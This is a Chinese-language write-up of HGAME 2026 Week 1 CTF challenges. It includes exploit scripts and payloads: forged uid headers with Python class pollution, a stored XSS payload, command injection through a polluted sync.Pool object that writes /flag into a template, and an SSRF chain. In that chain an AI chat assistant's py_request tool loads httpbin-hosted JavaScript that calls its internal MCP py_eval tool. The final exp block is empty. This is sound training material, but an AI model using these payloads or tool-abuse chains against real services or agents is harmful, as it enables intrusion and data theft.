HGAME 2026 杭州电子科技大学网络攻防大赛Writeup

Drifting–Week1–WriteUp

签到

README

hgame1.png

TEST NC

nc连接cat /flag就可以了

Web

魔理沙的魔法目录

访问主页后一大堆的知识,这道题分不是很高所以可以先直接查看源代码

hgame2.png

一个一个看在最后有一个javascripts/tracker.js点进去看有新东西

hgame3.png

通过分析 tracker.js 中搜索接口路径,找到三个关键端点:/login/record/check。接着一个一个访问看看,先访问 /login

/login 发送 JSON,服务器返回 token:

1
curl -X POST http://cloud-big.hgame.vidar.club:31576/login -H "Content-Type: application/json" -d "{""username"":""test""}"

hgame4.png

接着看/record,第一次直接请求会报错,提示需要 Content-Type: application/json,并且返回 missing field time,说明 必须提交 time 字段。

1
curl -s -X POST http://cloud-big.hgame.vidar.club:31576/record -H "Content-Type: application/json" -H "Authorization: 309b425d-c7dd-4f36-a431-4101ba0bba85" -d '{}'

错误:

hgame5.png

再尝试:

1
curl -s -X POST http://cloud-big.hgame.vidar.club:31576/record -H "Content-Type: application/json" -H "Authorization: 309b425d-c7dd-4f36-a431-4101ba0bba85" -d "{\"time\":1}"

成功返回:

hgame6.png

接着看/check,直接 /check 会提示 时长不足,说明需要累计时间:

1
curl -s http://cloud-big.hgame.vidar.club:31576/check -H "Authorization: 309b425d-c7dd-4f36-a431-4101ba0bba85"

返回:

hgame7.png

题意“坚持到最后”,结合 /recordtime 字段,可以推测:服务端根据 time 累计用户在线时长/check 需要时长达到阈值,未见对 time 做合理范围校验,因此直接提交超大的 time 值即可绕过。

1
curl -s -X POST http://cloud-big.hgame.vidar.club:31576/record -H "Content-Type: application/json" -H "Authorization: 309b425d-c7dd-4f36-a431-4101ba0bba85" -d "{\"time\":999999}"

hgame8.png

随后访问 /check

1
curl -s http://cloud-big.hgame.vidar.club:31576/check -H "Authorization: 309b425d-c7dd-4f36-a431-4101ba0bba85"

hgame9.png

获得 flag:

1
{"flag":"hgame{yOu-aRE_4I5o_4_MAh0U-tSUk41_nOWl11a4f5}","msg":"success"}

Vidarshop

访问首页后可看到前端 JS 里主要调用:

hgame10.png

  • POST /register
  • POST /login
  • POST /api/update
  • POST /api/buy

其中 apiRequest() 会把当前用户 uid 放在请求头里:

1
if (currentUidInput) headers['uid'] = currentUidInput;

注册多个用户名后可以观察到uuid:

  • u111111 -> 21111111
  • u222222 -> 21222222
  • test123 -> 2051920123

可推断规则为:

  • 字母按 a=1, b=2, ..., z=26 转成数字后拼接
  • 数字字符原样拼接

所以:

  • admin -> 1 4 13 9 14 -> 1413914

即使普通用户 token,只要请求头带:

1
uid: 1413914

调用 /api/update 返回中会出现:

1
{"is_admin": true, "msg": "System Access Granted", ...}

说明管理员判断逻辑可被伪造 uid 触发(未与 token 用户绑定)。题目提示说了 update 在改 User 类属性。结合常见 Python 递归 merge 反模式,可构造:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__": {
"__globals__": {
"SHOP_ITEMS": {
"flag": {
"price": 0
}
}
}
}
}

含义:

  • 通过 __init__.__globals__ 进入函数全局变量
  • SHOP_ITEMS["flag"]["price"] 改为 0
  • 随后购买 flag 不再需要 1,000,000 余额

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import random
import string
import requests

BASE = "http://local-2.hgame.vidar.club:32356"
ADMIN_UID = "1413914" # admin -> 1 4 13 9 14


def rand_user(prefix="pwn"):
return prefix + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6))


def main():
s = requests.Session()
username = rand_user()
password = "123456"

# 1) register
r = s.post(f"{BASE}/register", json={"username": username, "password": password}, timeout=10)
print("[register]", r.status_code, r.text)

# 2) login
r = s.post(f"{BASE}/login", json={"username": username, "password": password}, timeout=10)
print("[login]", r.status_code, r.text)
data = r.json()
token = data["token"]

headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"uid": ADMIN_UID, # 越权关键点
}

# 3) class pollution: modify global shop item price
payload = {
"__init__": {
"__globals__": {
"SHOP_ITEMS": {
"flag": {"price": 0}
}
}
}
}
r = s.post(f"{BASE}/api/update", headers=headers, json=payload, timeout=10)
print("[update]", r.status_code, r.text)

# 4) buy flag
r = s.post(f"{BASE}/api/buy", headers=headers, json={"item": "flag"}, timeout=10)
print("[buy]", r.status_code, r.text)


if __name__ == "__main__":
main()

本题最终可拿到的 flag 为:

1
hgame{r34l4DM1N_musT63Rlch162256b8c9}

博丽神社的绘马挂

打开靶机可以知道是一个登入界面

hgame11.png

什么信息没有直接看源代码,但是随便输入什么都可以直接登入进去

hgame12.png

归档页存在 JSONP 搜索接口

  • archives.html 使用:

    1
    script.src = `${API_BASE}/search?q=${encodeURIComponent(query)}&callback=${cbName}`;

发布带 XSS 的愿望内容,构造 payload:

1
<img src=x onerror="(async()=>{try{const d=await (await fetch('/api/archives')).json();let f='';for(const m of d){if(m.content && m.content.includes('Hgame{')){f=m.content;break;}}if(!f){f=JSON.stringify(d);}await fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:f,is_private:false})});}catch(e){}})();">

该脚本会请求 /api/archives 获取归档;解析内容,查找 Hgame{...};若找到则直接把 flag 作为新的留言发回;若没找到则把归档 JSON 整体发回方便排查。

hgame13.png

接着点击“🚨 呼叫灵梦”按钮,会请求 /api/report。只要对方访问首页,payload 即会执行并回传。一直刷新最新愿望就出来了flag

hgame14.png

最终 flag:

1
Hgame{tHe_s3CRet_0f-HaKurEi-JlNj@10852586}

MyMonitor

MonitorStruct 通过 sync.Pool 复用,但在JSON 绑定失败时没有 reset(),导致对象字段被污染后重用。

相关代码(handler.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func AdminCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return
}
fmt.Println(monitor)
defer monitor.reset()
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args)
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput()
...
}

func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct)
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
fmt.Println(monitor)
c.JSON(400, gin.H{"error": err.Error()})
return
}
fmt.Println(monitor)
defer monitor.reset()
if monitor.Cmd != "status" {
c.JSON(403, gin.H{"response": "No permission to execute this command"})
return
}
...
}

通过分析可以知道sync.Pool 里的对象会被重复使用。如果 ShouldBindJSON 失败,就不会执行 defer monitor.reset()。Gin 的 JSON 绑定会尽可能填充字段,哪怕最后整体校验失败。于是可以发送一个缺少 cmd 的 JSON

  • cmd 缺失 → 触发 required 校验失败
  • args 被成功写入 struct

这个“带有恶意 args 的 struct”被放回 Pool。下一次管理员调用 /api/admin/cmd 时,如果他只传 cmd,旧的 args 会继续存在。管理员定时执行的 ls → 变成 ls <注入>

  • 普通用户请求 /api/user/cmd,用一个不合法的 JSON 去污染 pool:

    1
    {"args":";cat /flag > /app/templates/login.html"}
  • 管理员定时执行 ls 时拼接的命令变成:

    1
    ls ;cat /flag > /app/templates/login.html
  • login.html 被覆盖为 flag,访问 /login 即可读取。

先注册一个普通用户

hgame15.png

返回中会有:

hgame16.png

1
{"Authorization":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUyIn0.ophwsojbT8qRxtgODZTdvoEPjRYL1ft1V9GdHHvnqh8","response":"User registered successfully"}

接着污染 Pool

payload_flag.json

1
{"args":";cat /flag > /app/templates/login.html"}

接着发送

1
2
3
4
curl.exe -s -x "" -X POST http://cloud-middle.hgame.vidar.club:30348/api/user/cmd `
-H "Content-Type: application/json" `
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUyIn0.ophwsojbT8qRxtgODZTdvoEPjRYL1ft1V9GdHHvnqh8" `
-d "@payload_flag.json" | Out-Null

可以多打几次,提高命中概率:

1
2
3
4
5
6
for ($i=0; $i -lt 50; $i++) {
curl.exe -s -x "" -X POST http://cloud-middle.hgame.vidar.club:30348/api/user/cmd `
-H "Content-Type: application/json" `
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InUyIn0.ophwsojbT8qRxtgODZTdvoEPjRYL1ft1V9GdHHvnqh8" `
-d "@payload_flag.json" | Out-Null
}

等管理员执行 ls 后读取,最后在/login就可以得到flag

hgame17.png

1
hgame{R3Mem6ER_t0_cIeaR-thE_BuFf3R-BEf0r3-you-wAnT_to-use!!!0}

My Little Assistant

先访问靶机:

hgame18.png

得到一个简单的聊天页面。前端逻辑大致是:向 /chat 发送消息,服务端可能返回 tool_request,前端用 confirm() 让用户确认是否执行工具,通过 /execute_tool 执行工具,工具名称通过聊天接口返回,前端不校验工具名称本身,只负责“确认”并调用。

向其询问“可用工具”,得到:

hgame19.png

  • py_eval:执行 Python
  • py_request:访问网页并获取前 300 个字符

但是实际执行发现:py_eval 被禁用

hgame20.png

  • py_request 可用

所以可以想到利用 py_request 做 SSRF / 浏览器执行。接着看题目附件里的 mcp_server.py 说明了 py_request 的实现方式:

  • 使用 Playwright 的 Chromium 进行 page.goto(url)
  • page.content()
  • 返回前 300 字符

而这个浏览器是在题目环境内运行,因此它可以访问 内网服务(127.0.0.1)。用 py_request 请求内网:

1
http://127.0.0.1:8001/openapi.json

hgame21.png

可以正常访问,显示是 FastAPI,暴露了 /mcp 接口。由附件 mcp_server.py 可知 /mcp 是 MCP 入口,支持 py_evalpy_request

所以思路是:

  1. py_request 打开一个“我们控制的网页”
  2. 网页内 JS 访问 http://127.0.0.1:8001/mcp
  3. 直接调用 py_eval 读取 flag
  4. 把结果写到页面里

py_request 只能访问 http/https,而不能用 data: 协议。所以需要一个可控的 http 页面。这里利用 httpbin 的 base64 回显功能:

1
http://httpbin.org/base64/<base64编码>

httpbin 会返回解码后的内容,浏览器会执行其中的 JS。构造的 HTML:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!doctype html>
<html>
<body>
<script>
(async () => {
const code = `import os\nflag=''\nfor p in ['/flag','/flag.txt','/app/flag','/app/flag.txt','/home/ctf/flag','/home/ctf/flag.txt','/home/app/flag','/home/app/flag.txt']:\n if os.path.exists(p):\n flag=open(p).read()\n break\n`;
const payload = {jsonrpc:'2.0', id:1, params:{name:'py_eval', arguments:{code}}};
const res = await fetch('http://127.0.0.1:8001/mcp', {
method:'POST',
headers:{'Content-Type':'application/json'},
body: JSON.stringify(payload)
});
const text = await res.text();
document.body.innerText = text;
})().catch(e => {
document.body.innerText = e.toString();
});
</script>
</body>
</html>

将其 base64 编码

hgame22.png

接着拼到 httpbin URL

1
http://httpbin.org/base64/PCFkb2N0eXBlIGh0bWw%2BPGh0bWw%2BPGJvZHk%2BPHNjcmlwdD4KKGFzeW5jICgpID0%2BIHsKICBjb25zdCBjb2RlID0gYGltcG9ydCBvcwpmbGFnPScnCmZvciBwIGluIFsnL2ZsYWcnLCcvZmxhZy50eHQnLCcvYXBwL2ZsYWcnLCcvYXBwL2ZsYWcudHh0JywnL2hvbWUvY3RmL2ZsYWcnLCcvaG9tZS9jdGYvZmxhZy50eHQnLCcvaG9tZS9hcHAvZmxhZycsJy9ob21lL2FwcC9mbGFnLnR4dCddOgogICAgaWYgb3MucGF0aC5leGlzdHMocCk6CiAgICAgICAgZmxhZz1vcGVuKHApLnJlYWQoKQogICAgICAgIGJyZWFrCmRlbCBvcwpgOwogIGNvbnN0IHBheWxvYWQgPSB7anNvbnJwYzonMi4wJywgaWQ6MSwgcGFyYW1zOntuYW1lOidweV9ldmFsJywgYXJndW1lbnRzOntjb2RlfX19OwogIGNvbnN0IHJlcyA9IGF3YWl0IGZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjgwMDEvbWNwJywge21ldGhvZDonUE9TVCcsIGhlYWRlcnM6eydDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi9qc29uJ30sIGJvZHk6IEpTT04uc3RyaW5naWZ5KHBheWxvYWQpfSk7CiAgY29uc3QgdGV4dCA9IGF3YWl0IHJlcy50ZXh0KCk7CiAgZG9jdW1lbnQuYm9keS5pbm5lclRleHQgPSB0ZXh0Owp9KSgpLmNhdGNoKGUgPT4geyBkb2N1bWVudC5ib2R5LmlubmVyVGV4dCA9IGUudG9TdHJpbmcoKTsgfSk7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw%2B

发送给 /execute_tool(py_request)

1
2
3
4
5
6
7
8
9
POST /execute_tool
Content-Type: application/json

{
"name": "py_request",
"arguments": {
"url": "http://httpbin.org/base64/<base64>"
}
}

服务端 Playwright 打开页面,执行 JS,访问了内网 /mcp 并触发 py_eval。返回的 HTML 内容里包含 flag。

payload.json

1
{"arguments":{"url":"http://httpbin.org/base64/PCFkb2N0eXBlIGh0bWw%2BPGh0bWw%2BPGJvZHk%2BPHNjcmlwdD4KKGFzeW5jICgpID0%2BIHsKICBjb25zdCBjb2RlID0gYGltcG9ydCBvcwpmbGFnPScnCmZvciBwIGluIFsnL2ZsYWcnLCcvZmxhZy50eHQnLCcvYXBwL2ZsYWcnLCcvYXBwL2ZsYWcudHh0JywnL2hvbWUvY3RmL2ZsYWcnLCcvaG9tZS9jdGYvZmxhZy50eHQnLCcvaG9tZS9hcHAvZmxhZycsJy9ob21lL2FwcC9mbGFnLnR4dCddOgogICAgaWYgb3MucGF0aC5leGlzdHMocCk6CiAgICAgICAgZmxhZz1vcGVuKHApLnJlYWQoKQogICAgICAgIGJyZWFrCmRlbCBvcwpgOwogIGNvbnN0IHBheWxvYWQgPSB7anNvbnJwYzonMi4wJywgaWQ6MSwgcGFyYW1zOntuYW1lOidweV9ldmFsJywgYXJndW1lbnRzOntjb2RlfX19OwogIGNvbnN0IHJlcyA9IGF3YWl0IGZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjgwMDEvbWNwJywge21ldGhvZDonUE9TVCcsIGhlYWRlcnM6eydDb250ZW50LVR5cGUnOidhcHBsaWNhdGlvbi9qc29uJ30sIGJvZHk6IEpTT04uc3RyaW5naWZ5KHBheWxvYWQpfSk7CiAgY29uc3QgdGV4dCA9IGF3YWl0IHJlcy50ZXh0KCk7CiAgZG9jdW1lbnQuYm9keS5pbm5lclRleHQgPSB0ZXh0Owp9KSgpLmNhdGNoKGUgPT4geyBkb2N1bWVudC5ib2R5LmlubmVyVGV4dCA9IGUudG9TdHJpbmcoKTsgfSk7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw%2B"},"name":"py_request"}
1
curl.exe -s -X POST http://cloud-middle.hgame.vidar.club:30553/execute_tool -H "Content-Type: application/json" --data-binary "@payload.json"

hgame23.png

1
{'flag': 'hgame{@lMCp_drlv3n_x5s_ATTACk_chaiN4aa84f7}', 'p': '/flag'}

所以 flag 为:

1
hgame{@lMCp_drlv3n_x5s_ATTACk_chaiN4aa84f7}

Crypto

Classic

打开 flag.txt,你会看到一大段“像英文但不对劲”的文本,并且末尾有很像 flag 的结构:

hgame24.png

1
VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}

可以知道这个格式很像flag,根据是古典密码可以猜到是一个Vigenère ,接着就是要对 flag.txt 做 Vigenère 破译,但是题目未给key接着分析task.py,task.py 的核心逻辑:随机生成 512-bit 素数 p, q,得到 n = p*qe = 65537,把 p 右移 230 位输出成 leak,用 c = m^e mod n 输出密文,因此=已知:n, e, c, leak,目标是恢复 p

已知 leak = p >> 230,把它左移回去即可得到一个“接近 p 的数”:

  • p0 = leak << 230

  • 真正的 p = p0 + x,其中 x 是 低 230 位

  • 因为 pn 的因子,所以当 x 正确时:

    • p0 + x 会和 n 有非平凡最大公因子
  • 在已知范围内找出正确的 x,爆破最低几位 + small_roots 解剩下的位,把 x 拆成 “高部分 + 低 b 位”,低 b 位直接枚举,剩下的未知更短。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from sage.all import *
from Crypto.Util.number import long_to_bytes

n = 103581608824736882681702548494306557458428217716535853516637603198588994047254920265300207713666564839896694140347335581147943392868972670366375164657970346843271269181099927135708348654216625303445930822821038674590817017773788412711991032701431127674068750986033616138121464799190131518444610260228947206957
leak = 6614588561261434084424582030267010885893931492438594708489233399180372535747474192128
c = 38164947954316044802514640871285562707869793354907165622336840432488893861610651450862702262363481097538127040490478908756416851240578677195459996252755566510786486707340107057971217557295217072867673485369358370289506549932119879791474279677563080377456592139035501163534305008864900509896586230830001710243
e = 65537

k = 230
p0 = Integer(leak) << k

print("[*] gcd(p0, n) =", gcd(p0, n)) # 应该是 1

R.<x> = PolynomialRing(Zmod(n))
f = (p0 + x).monic()
X = 2^k

# 经验上:epsilon 设小一点更容易出根;必要时把 m/t 也扫一下
eps_list = [1/20, 1/40, 1/80, 1/160, 1/320]
mt_list = [(1,1), (2,1), (2,2), (3,1), (3,2), (4,2)]

roots = []
for eps in eps_list:
for (m, t) in mt_list:
try:
rr = f.small_roots(X=X, beta=0.5, epsilon=eps, m=m, t=t)
except TypeError:
# 你的 Sage 若不支持显式 m/t,就只传 epsilon
rr = f.small_roots(X=X, beta=0.5, epsilon=eps)
if rr:
roots = rr
print(f"[+] found roots with eps={eps}, m={m}, t={t}: {rr}")
break
if roots:
break

if not roots:
print("[-] still no roots -> use solve2 (bruteforce some low bits, guaranteed)")
quit()

x0 = Integer(roots[0])
p = gcd(Integer(p0 + x0), n)
assert 1 < p < n
q = n // p

phi = (p-1)*(q-1)
d = inverse_mod(e, phi)
m = pow(Integer(c), Integer(d), Integer(n))
print("[+] flag bytes:", long_to_bytes(m))

hgame25.png

运行也可以知道这个是Vigenere,key=hgame

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string

ct = open("flag.txt", "r", encoding="utf-8").read()
key = "hgame"

def vigenere_decrypt(text, key):
key_shifts = [string.ascii_lowercase.index(ch) for ch in key.lower() if ch in string.ascii_lowercase]
out = []
ki = 0
for ch in text:
lo = ch.lower()
if lo in string.ascii_lowercase:
shift = key_shifts[ki % len(key_shifts)]
alpha = string.ascii_lowercase if ch.islower() else string.ascii_uppercase
idx = alpha.index(ch)
out.append(alpha[(idx - shift) % 26])
ki += 1
else:
out.append(ch)
return "".join(out)

pt = vigenere_decrypt(ct, key)
print(pt)

hgame26.png

1
VIDAR{The Collision of the New and the Old}

Flux

Flux 的更新是“二次多项式递推”,内部参数 a,b,c 是随机的,但我们拿到了连续 4 次输出 x1,x2,x3,x4。关键点:

  • x1->x2, x2->x3, x3->x4 这三次更新,能组成一个“线性方程组”(未知数是 a,b,c),直接在模 n 下高斯消元即可解出 a,b,c
  • 解出 a,b,c 后,把 x0(也就是 h)代回第一步更新关系,可以变成“模素数下的二次方程”,用 Tonelli-Shanks 求平方根即可得到 h 的两个候选值(通常是两个)。

到这里能拿到 1~2 个 h 候选。题目约束:key.bit_length() < 70

shash 的核心在于:

  • 全程都在 2^256 范围内截断(& mask),
  • 再 XOR 字符。main

因此可以用“逐位提升”的办法恢复 key

  • key mod 2^1 开始枚举
  • 每次多扩展 1 bit(候选翻倍)
  • shash(value, key) mod 2^t == h mod 2^t 来筛选
  • 最后用完整 256-bit 的 shash 做最终验证,确定唯一 key

用这个 key 计算 shash("I get the key now!", key) 就出 flag。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# exp.py
# -*- coding: utf-8 -*-

MASK256 = (1 << 256) - 1

def shash_full(value: str, key: int) -> int:
length = len(value)
if length == 0:
return 0
x = (ord(value[0]) << 7) & MASK256
for ch in value:
x = ((key * x) & MASK256) ^ ord(ch)
x ^= length & MASK256
return x & MASK256

def shash_mod(value: str, key: int, bits: int) -> int:
"""仅计算低 bits 位,用于按位提升"""
mask = (1 << bits) - 1
length = len(value)
if length == 0:
return 0
x = (ord(value[0]) << 7) & mask
k = key & mask
for ch in value:
x = ((k * x) & mask) ^ ord(ch)
x ^= length & mask
return x & mask

def read_data(path="data.txt"):
with open(path, "r", encoding="utf-8") as f:
data_line = f.readline().strip()
n_line = f.readline().strip()
data = eval(data_line) # 题目输出格式固定
n = int(n_line)
return data, n

def modinv(a, m):
return pow(a, -1, m)

def solve_linear_mod(A, b, mod):
"""模素数下高斯消元,解 A*x=b"""
k = len(A)
M = [row[:] + [b_i] for row, b_i in zip(A, b)]
for col in range(k):
pivot = None
for r in range(col, k):
if M[r][col] % mod != 0:
pivot = r
break
if pivot is None:
raise ValueError("singular")
M[col], M[pivot] = M[pivot], M[col]

invp = modinv(M[col][col] % mod, mod)
for c in range(col, k + 1):
M[col][c] = (M[col][c] * invp) % mod

for r in range(k):
if r == col:
continue
factor = M[r][col] % mod
if factor == 0:
continue
for c in range(col, k + 1):
M[r][c] = (M[r][c] - factor * M[col][c]) % mod

return [M[i][k] % mod for i in range(k)]

def tonelli_shanks(a, p):
"""解 x^2=a (mod p),p 为奇素数;无解返回 None"""
a %= p
if a == 0:
return 0
if pow(a, (p - 1) // 2, p) != 1:
return None
if p % 4 == 3:
return pow(a, (p + 1) // 4, p)

# p-1 = q*2^s,q 奇数
q = p - 1
s = 0
while q % 2 == 0:
s += 1
q //= 2

# 找一个二次非剩余 z
z = 2
while pow(z, (p - 1) // 2, p) != p - 1:
z += 1

m = s
c = pow(z, q, p)
t = pow(a, q, p)
r = pow(a, (q + 1) // 2, p)

while t != 1:
i = 1
t2i = (t * t) % p
while t2i != 1:
t2i = (t2i * t2i) % p
i += 1
b = pow(c, 1 << (m - i - 1), p)
m = i
c = (b * b) % p
t = (t * c) % p
r = (r * b) % p
return r

def recover_h_candidates_from_flux(x1, x2, x3, x4, n):
# 由三次更新解出 a,b,c
A = [
[pow(x1, 2, n), x1 % n, 1],
[pow(x2, 2, n), x2 % n, 1],
[pow(x3, 2, n), x3 % n, 1],
]
bvec = [x2 % n, x3 % n, x4 % n]
a, b, c = solve_linear_mod(A, bvec, n)

# 代回第一步,得到 x0=h 的二次方程,求平方根得到两解
D = (b*b - 4*a*((c - x1) % n)) % n
sqrtD = tonelli_shanks(D, n)
if sqrtD is None:
return []

inv2a = modinv((2*a) % n, n)
h1 = ((-b + sqrtD) * inv2a) % n
h2 = ((-b - sqrtD) * inv2a) % n
return [h1, h2]

def lift_key(value: str, target_h: int, bits: int = 70):
"""按位提升 key(只保留满足低位 shash 一致的候选)"""
# t=1 初始化:k 只有 0/1 两种
cands = [0, 1]
cands = [k for k in cands if shash_mod(value, k, 1) == (target_h & 1)]
for t in range(1, bits):
nxt = []
for k in cands:
nxt.append(k)
nxt.append(k | (1 << t))
mask = (1 << (t + 1)) - 1
want = target_h & mask
cands = [k for k in nxt if shash_mod(value, k, t + 1) == want]
if not cands:
return []
return cands

def main():
data, n = read_data("data.txt")
x1, x2, x3, x4 = data

value = "Welcome to HGAME 2026!"
magic_word = "I get the key now!"

hs = recover_h_candidates_from_flux(x1, x2, x3, x4, n)
for h in hs:
ks = lift_key(value, h, 70)
for key in ks:
if key < (1 << 70) and shash_full(value, key) == h:
flag_hash = shash_full(magic_word, key)
flag = "VIDAR{" + hex(flag_hash)[2:] + "}"
print("key =", key)
print("flag =", flag)
return

print("not found")

if __name__ == "__main__":
main()

运行输出:

hgame27.png

  • key = 860533
  • flag = VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}
1
VIDAR{1069466028b4c4a9694a3175f2f9410ab398b939bdb52afb39534b6f8cc59abc}

babyRSA

RSA 给出 p,q,可直接求 d。但明文长度 k=30~40flag 总长度为 7+k(含 VIDAR{}),最大可达 47 字节,明显大于 240-bit 的 n,所以实际加密的是 m mod n。解密得到的是 m_mod = m (mod n),真实 m = m_mod + t*n。只要结合已知格式 VIDAR{...} 和字符集 [0-9A-Za-z_@],枚举/筛选 t 即可。

思路如下:

  1. 计算 m_modm_mod = c^d mod n
  2. 真实明文长度 L[37,47]
  3. 利用:m = m_mod + t*n,并要求:
    • m 转字节长度为 L
    • VIDAR{ 开头,以 } 结尾
    • 中间字符属于限定字符集
  4. 为加速,利用最后 r 个字节(含 })约束 t (mod 256^r),再在区间内筛选。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from Crypto.Util.number import *
import string, itertools, bisect, multiprocessing as mp, os, time

# 已知参数
c = 451420045234442273941376910979916645887835448913611695130061067762180161
p = 722243413239346736518453990676052563
q = 777452004761824304315754169245494387
n = p*q
phi = (p-1)*(q-1)
e = 65537

# 解密得到 m_mod
m_mod = pow(c, pow(e, -1, phi), n)

prefix = b'VIDAR{'
suffix = b'}'
allowed_bytes = list((string.digits + string.ascii_letters + '_@').encode())
allowed_table = bytearray(256)
for b in allowed_bytes:
allowed_table[b] = 1

L = 42 # 实际长度(运行中会找到)
h = 4 # 先枚举前 h 个未知字符
r = 4 # 约束最后 r 个字节

P = bytes_to_long(prefix)
mod = 256**r
inv_n_mod = pow(n, -1, mod)

# 预计算 t 的 residue(满足最后 r 字节)
residues = []
for combo in itertools.product(allowed_bytes, repeat=r-1):
tail = bytes(combo) + suffix
x = int.from_bytes(tail, 'big')
t0 = ((x - (m_mod % mod)) * inv_n_mod) % mod
residues.append(t0)
residues = sorted(set(residues))

pow_tail = 256**(L-6-h)

# 并行搜索
b1_values = allowed_bytes
cpu = os.cpu_count() or 4
chunks = [b1_values[i::cpu] for i in range(cpu)]

found_flag = mp.Event()
result_queue = mp.Queue()


def worker(b1_list):
for b1 in b1_list:
P1 = P*256 + b1
for b2 in allowed_bytes:
P2 = P1*256 + b2
for b3 in allowed_bytes:
P3 = P2*256 + b3
base = P3*256
for b4 in allowed_bytes:
if found_flag.is_set():
return
P4 = base + b4
low = P4 * pow_tail
high = low + pow_tail - 1

a = low - m_mod
t_min = (a + n - 1)//n if a >= 0 else -((-a)//n)
t_max = (high - m_mod)//n
if t_max < t_min:
continue

length = t_max - t_min + 1
t_min_mod = t_min % mod
t_max_mod = (t_min_mod + length - 1) % mod

if t_min_mod <= t_max_mod:
cand = residues[bisect.bisect_left(residues, t_min_mod):
bisect.bisect_right(residues, t_max_mod)]
else:
cand = residues[bisect.bisect_left(residues, t_min_mod):] + \
residues[:bisect.bisect_right(residues, t_max_mod)]

for r0 in cand:
t = t_min + ((r0 - t_min_mod) % mod)
if t > t_max:
continue
m = m_mod + t*n
b = m.to_bytes(L, 'big')
if not (b.startswith(prefix) and b.endswith(suffix)):
continue
mid = b[6:-1]
ok = True
for ch in mid:
if not allowed_table[ch]:
ok = False
break
if ok:
result_queue.put(b)
found_flag.set()
return


if __name__ == '__main__':
procs = []
for chunk in chunks:
p = mp.Process(target=worker, args=(chunk,))
p.start()
procs.append(p)

try:
while True:
if not result_queue.empty():
flag = result_queue.get()
print(flag.decode())
break
if found_flag.is_set() and all(not p.is_alive() for p in procs):
break
time.sleep(0.5)
finally:
for p in procs:
p.terminate()
for p in procs:
p.join()

hgame28.png

1
VIDAR{Congr@tulations_you_re4lly_konw_RS4}

Reverse

PVZ

exe 其实是 zip/jar,直接解包即可:

1
unzip -qq gpvz.exe -d out

然后看 FlagScreen 的字节码:

1
javap -classpath out -c -p com.pvz.vidar.game.wsdx233.top.screen.FlagScreen

decryptFlag() 做的事情大致是:

  1. decryptWithKillCount(killCountEncryptedFlag, (hello + paramLong).toInt())
  2. 把 26 字节对半切成 13+13
  3. 前半 XOR xorKey1=102,后半 XOR xorKey2=119
  4. 拼回 26 字节,再和 aesEncryptedKey循环 XOR
  5. 按 UTF-8 转字符串
  6. rotateDecrypt(…, offset):凯撒位移(offset 由 "PLANTS_VS_ZOMBIES_2025" 所有字符 ASCII 求和 %26 得到,算出来是 20
  7. substitutionDecrypt():替换表逆映射(A-Z 的键盘映射 + 特殊符号映射:'_'->'!', '{'->'[', '}'->']'

最后 getFlag() 会做完整性校验:

  • 长度必须 26
  • 必须以 flag{ 开头并以 } 结尾

通过后再把 "flag" 替换成 "hgame" 返回。决定“动态 key”的函数 deriveKeyFromKillCount(int) 最终把种子算完会 % 65536,也就是只有 16-bit 的状态空间。所以不需要知道游戏里那个 long 参数到底是多少,直接爆破 0..65535 即可,找到能通过完整性校验的那一个。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
